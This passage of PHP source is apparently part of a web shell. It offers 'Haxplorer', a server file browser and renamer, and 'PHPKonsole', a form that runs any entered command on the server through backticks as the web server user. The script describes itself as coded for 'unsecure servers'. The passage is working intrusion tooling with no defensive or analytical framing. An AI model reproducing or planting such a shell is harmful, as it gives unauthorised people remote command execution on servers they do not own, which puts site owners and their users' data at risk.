733 $raw[$i] = "<FONT COLOR=#999999><CODE>[" . str_repeat(" ", $gap ) . $i . "]</CODE>&nbsp;&nbsp;</FONT>" . $raw[$i] . "<BR />";
734 }
735 else {
736 $raw[$i] = "$raw[$i]<BR />";
737 }
738 }
739 $raw = implode ( '', $raw );
740 echo "<table class=\"white border\" width=\"100%\"><tr><td valign=\"top\"><br>$raw<br><br></td></tr></table>";
741}
742elseif ( $cmd=="ren" ) { /* <!-- File and Directory Rename --> */
743 if (function_exists('is_dir')) {
744 if (is_dir("$oldfile")) {
745 $objname = "Directory";
746 $objident = "Directory";
747 }
748 else {
749 $objname = "Filename";
750 $objident = "file";
751 }
752 }
753 echo "<table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=100% style=\"class=\"silver border\"><center>&nbsp;Rename a file:&nbsp;</center></td></tr></table><br>\n";
754 If (empty($newfile) != true) {
755 echo "<center>";
756 $return = @rename($oldfile, "$olddir$newfile");
757 if ($return) {
758 echo "$objident renamed successfully:<br><br>Old $objname: \"$oldfile\".<br>New $objname: \"$olddir$newfile\"";
759 }
760 else {
761 if ( @file_exists("$olddir$newfile") ) {
762 echo "Error: The $objident does already exist...<br><br>\"$olddir$newfile\"<br><br>Hit your browser's back to try again...";
763 }
764 else {
765 echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it.";
766 }
767 }
768 echo "<form action=\"$SFileName\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ;
769 }
770 else {
771 $dpos = strrpos($oldfile, "/");
772 if (strval($dpos)!="") {
773 $olddir = substr($oldfile, 0, $dpos+1);
774 }
775 else {
776 $olddir = "$lastdir/";
777 }
778 $fpos = strrpos($oldfile, "/");
779 if (strval($fpos)!="") {
780 $inputfile = substr($oldfile, $fpos+1);
781 }
782 else {
783 $inputfile = "";
784 }
785 echo "<center><table><tr><td><form action=\"$SFileName\" method=\"post\">\n";
786 echo "<input type=\"hidden\" name=\"cmd\" value=\"ren\">\n";
787 echo "<input type=\"hidden\" name=\"oldfile\" value=\"$oldfile\">\n";
788 echo "<input type=\"hidden\" name=\"olddir\" value=\"$olddir\">\n";
789 echo "<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">\n";
790 echo "<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">\n";
791 echo "Rename \"$oldfile\" to:<br>\n";
792 echo "<input size=\"100\" type=\"text\" name=\"newfile\" value=\"$inputfile\"><br><input type=\"submit\" value=\"Rename\">";
793 echo "</form><form action=\"$SFileName\" method=\"post\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input type=\"submit\" value=\"Cancel\"></form>";
794 echo "</td></tr></table></center>";
795 }
796}
797else if ( $cmd == "con") {
798
799?>
800<center>
801<table>
802 <tr><td>
803<h3>PHPKonsole</h3>
804
805<?php
806
807if (ini_get('register_globals') != '1') {
808 if (!empty($HTTP_POST_VARS))
809 extract($HTTP_POST_VARS);
810
811 if (!empty($HTTP_GET_VARS))
812 extract($HTTP_GET_VARS);
813
814 if (!empty($HTTP_SERVER_VARS))
815 extract($HTTP_SERVER_VARS);
816 }
817
818 if (!empty($work_dir)) {
819 if (!empty($command)) {
820 if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {
821 if ($regs[1][0] == '/') {
822 $new_dir = $regs[1];
823 } else {
824 $new_dir = $work_dir . '/' . $regs[1];
825 }
826 if (file_exists($new_dir) && is_dir($new_dir)) {
827 $work_dir = $new_dir;
828 }
829 unset($command);
830 }
831 }
832 }
833 if (file_exists($work_dir) && is_dir($work_dir)) {
834 chdir($work_dir);
835 }
836 $work_dir = exec('pwd');
837?>
838
839 <form name="myform" action="<?php echo $PHP_SELF ?>" method="post">
840 <table border=0 cellspacing=0 cellpadding=0 width="100%"><tr><td>Current working directory: <b>
841 <input type="hidden" name="cmd" value="con">
842 <?php
843 $work_dir_splitted = explode('/', substr($work_dir, 1));
844 printf('<a href="%s?cmd=con&stderr=%s&work_dir=/">Root</a>/', $PHP_SELF, $stderr);
845 if (!empty($work_dir_splitted[0])) {
846 $path = '';
847 for ($i = 0; $i < count($work_dir_splitted); $i++) {
848 $path .= '/' . $work_dir_splitted[$i];
849 printf('<a href="%s?cmd=con&stderr=%s&work_dir=%s">%s</a>/', $PHP_SELF, $stderr, urlencode($path), $work_dir_splitted[$i]);
850 }
851 }
852 ?></b></td>
853 <td align="right">Choose new working directory: <select class="inputtext" name="work_dir" onChange="this.form.submit()">
854
855 <?php
856 $dir_handle = opendir($work_dir);
857 while ($dir = readdir($dir_handle)) {
858 if (is_dir($dir)) {
859 if ($dir == '.') {
860 echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
861 } elseif ($dir == '..') {
862 if (strlen($work_dir) == 1) {
863 }
864 elseif (strrpos($work_dir, '/') == 0) {
865 echo "<option value=\"/\">Parent Directory</option>\n";
866 } else {
867 echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
868 }
869 } else {
870 if ($work_dir == '/') {
871 echo "<option value=\"$work_dir$dir\">$dir</option>\n";
872 } else {
873 echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
874 }
875 }
876 }
877 }
878 closedir($dir_handle);
879 ?>
880 </select></td></tr></table>
881 <p>Command: <input class="inputtext" type="text" name="command" size="60">
882 <input name="submit_btn" class="inputbutton" type="submit" value="Execute Command"></p>
883 <p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"<?php if ($stderr) echo " CHECKED"; ?>></p>
884 <textarea cols="80" rows="19" class="inputtextarea" wrap=off readonly><?php
885 if (!empty($command)) {
886 echo "phpKonsole> ". htmlspecialchars($command) . "\n\n";
887 if ($stderr) {
888 $tmpfile = tempnam('/tmp', 'phpshell');
889 $command .= " 1> $tmpfile 2>&1; " . "cat $tmpfile; rm $tmpfile";
890 } else if ($command == 'ls') {
891 $command .= ' -F';
892 }
893 $output = `$command`;
894 echo htmlspecialchars($output);
895 }
896 ?></textarea>
897 </form>
898
899 <script language="JavaScript" type="text/javascript">
900 document.forms[0].command.focus();
901 </script>
902 </td></tr></table>
903<?php
904}
905else { /* <!-- There is a incorrect or no parameter specified... Let's open the main menu --> */
906 $isMainMenu = true;
907 ?>
908 <table width="100%" border="0" cellpadding="0" cellspacing="0">
909 <tr>
910 <td width="100%" class="border">
911 <center>&nbsp;-<[{ <?php echo $scriptTitle ?> Main Menu }]>-&nbsp;</center>
912 </td>
913 </tr>
914 </table>
915 <br>
916 <center>
917 <table border="0" NOWRAP>
918 <tr>
919 <td valign="top" class="silver border">
920 <a href="<?php echo $SFileName ?>?cmd=dir&dir=.">&nbsp;&nbsp;<font color="navy"><strong>==> Haxplorer <==</strong></font>&nbsp;&nbsp;</a>
921 </td>
922 <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP>
923 Haxplorer is a server side file browser wich (ab)uses the directory object to list
924 the files and directories stored on a webserver. This handy tools allows you to manage
925 files and directories on a unsecure server with php support.<br><br>This entire script
926 is coded for unsecure servers, if your server is secured the script will hide commands
927 or will even return errors to your browser...<br><br>
928 </td>
929 </tr>
930 <tr>
931 <td valign="top" class="silver border">
932 <a href="<?php echo $SFileName ?>?cmd=con">&nbsp;&nbsp;<font color="navy"><strong>==> PHPKonsole <==</strong></font>&nbsp;&nbsp;</a>
933 </td>
934 <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP>
935 <br>PHPKonsole is just a little telnet like shell wich allows you to run commands on the webserver.
936 When you run commands they will run as the webservers UserID. This should work perfectly
937 for managing files, like moving, copying etc. If you're using a linux server, system commands
938 such as ls, mv and cp will be available for you... <br><br>This function will only work if the
939 server supports php and the execute commands...
940<br><br>
941 </td>
942 </tr>
943 </table>
944 </center>
945 <br>
946 <?php
947}
948
949if ($cmd != "downl") {
950 if ( $isMainMenu != true) {
951 ?>
952 <table width="100%" border="0" cellpadding="0" cellspacing="0">
953 <tr>
954 <td width="100%" style="class="silver border">
955 <center><strong>
956 &nbsp;&nbsp;<a href="<?php echo $SFileName ?>"><font color="navy">[&nbsp;Main Menu&nbsp;]</font></a>&nbsp;&nbsp;
957 &nbsp;&nbsp;<a href="<?php echo $SFileName ?>?cmd=con"><font color="navy">[&nbsp;PHPKonsole&nbsp;]</font></a>&nbsp;&nbsp;
958 &nbsp;&nbsp;<a href="<?php echo $SFileName ?>?cmd=dir&dir=."><font color="navy">[&nbsp;Haxplorer&nbsp;]</font></a>&nbsp;&nbsp;
959 </strong></center>
960 </td>
961 </tr>
962 </table>
963 <br>
964 <?php
965}
966 ?>
967 </td>
968 </tr>
969 <tr>
970 <td width="100%" height="15" class="silver border">
971 <center>&nbsp;<?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?>&nbsp;</center>
972 </td>
973 </tr>
974 </table>
975 </td>
976 </tr>
977 </table>
978
979 <?php
980 }
981
982?>
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997